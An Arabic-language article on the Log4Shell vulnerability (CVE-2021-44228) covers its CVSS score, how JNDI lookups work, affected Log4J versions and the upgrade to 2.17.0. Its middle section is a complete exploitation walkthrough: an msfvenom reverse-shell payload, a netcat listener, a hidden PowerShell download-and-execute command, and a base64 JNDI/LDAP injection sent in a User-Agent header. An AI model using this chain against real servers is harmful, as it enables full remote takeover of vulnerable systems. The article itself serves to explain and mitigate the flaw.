
Log4Shell (CVE-2021-44228): الوصف، الاستغلال، والتخفيف
في 9 ديسمبر 2021، علم العالم بثغرة أمنية جديدة تخص Log4J. تم تقييم درجة CVSSv3 (نظام تقييم الثغرات المشترك) للثغرة بمقدار 10، مما يجعلها ذات مستوى حرج (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
ناقل CVSSv3 الخاص بها هو كما يلي: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
لنقم بتوضيح القيم قليلاً حتى يمكن فهم سبب التقييم بالكامل:
Log4J هي مكتبة جافا، وهي الآن جزء من مشروع مؤسسة برمجيات أباتشي، تسمح بمراقبة حالة التطبيق.
وهي المعيار الفعلي لتسجيل الدخول (logging) لتطبيقات جافا.
تعتمد الثغرة على JNDI (واجهة تسمية ودليل جافا): وهي API جافا تسمح لتطبيق بالتفاعل مع خدمة دليل خارجية (مثل LDAP).
يتم التفاعل عبر وظيفة البحث (lookup) لـ JNDI، والتي تكون مفعلة في الإعدادات الافتراضية لـ Log4J، مما يسمح بالتفاعل مع خادم بعيد.
بعض التوضيحات الصغيرة المفيدة للقراءة:
10.0.0.110.0.0.2x8680 ويمكن زيارته على الرابط http://hackme.com| ❗ تحذير ❗ |
|---|
| تقنية الهجوم الموصوفة أدناه يجب أن تكون مفيدة فقط لفهم خطورة الثغرة قيد الدراسة. يتبرأ المؤلف ويدين أي استخدام غير لائق للمقال التالي. |
الهدف من الهجوم التالي هو استغلال Log4Shell لتنزيل وتنفيذ reverse shell على النظام الضعيف بحيث يتم السيطرة الكاملة عليه.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom بحيث يمكن استقبال الوصول عن بُعد إلى الجهاز على المنفذ 8888msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc على المنفذ 8888 لاستقبال الاتصال من الـ reverse shell المحملة في الجهاز الضعيفnc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp وتنفيذهpowershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64 باستخدام الأمر التاليecho 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
نتيجة الأمر السابق هي كما يلي:
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent للزائر. يرسل المهاجم طلبًا مشابهًا لما يلي:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
إلى Log4J الذي يفسرها، وعبر JNDI، يقوم بإرسال الطلب إلى خادم LDAP الخاص بالمهاجم
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
يتم تنزيل البرنامج الضار وتنفيذه.
يحصل المهاجم على شل (shell) للجهاز على المنفذ 8888.
أولاً وقبل كل شيء، يجب التذكير أن هذه ثغرة تشمل فقط البرامج التي تستخدم Java أو أي مشتق منه (وبالطبع Log4J كمكتبة تسجيل دخول).
2.0-beta9 - 2.14.1: الإصدارات المعرضة لـ Log4Shell تتراوح من 2.0-beta9 إلى 2.14.1.2.15.0: تم العثور على إصدار 2.15.0 من Log4J ضعيفًا. CVE-2021-45046. حاليًا تقييم الثغرة هو "9.0 Critical".2.16.0: تم العثور على إصدار 2.16.0 من Log4J ضعيفًا. CVE-2021-45105. حاليًا تقييم الثغرة هو "7.5 High".إصدار 1.x من Log4J ليس معرضًا بشكل صارم للثغرة الأمنية المشار إليها، ولكن بالإضافة إلى كونه قد أصبح مهملاً منذ عام 2015، فهو يعاني من الثغرة التالية: CVE-2021-4104.
الحل الأفضل هو تحديث Log4J إلى الإصدار 2.17.0.